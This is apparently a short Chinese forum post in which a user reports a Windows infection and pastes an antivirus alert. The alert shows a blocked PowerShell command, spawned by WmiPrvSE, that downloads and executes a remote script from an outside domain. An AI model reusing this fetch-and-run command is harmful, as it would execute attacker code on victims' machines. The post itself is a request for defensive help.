windows 中毒了

1次阅读

共计 536 个字符，预计需要花费 2 分钟才能阅读完成。

哪位大佬给他 D 一下，Google 搜了下 k2ygoods，好多

 防护项目：利用系统进程启动恶意程序
可疑文件：C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
执行命令行：powershell.exe  IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/power.txt')
操作结果：已阻止
进程 ID：5580
操作进程：C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
操作进程命令行：cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/power.txt')
操作进程校验和：7C3D7281E1151FE4127923F4B4C3CD36438E1A12
父进程 ID：1132
父进程：C:WindowsSystem32wbemWmiPrvSE.exe
父进程命令行：C:Windowssystem32wbemwmiprvse.exe -Embedding

windows 中毒了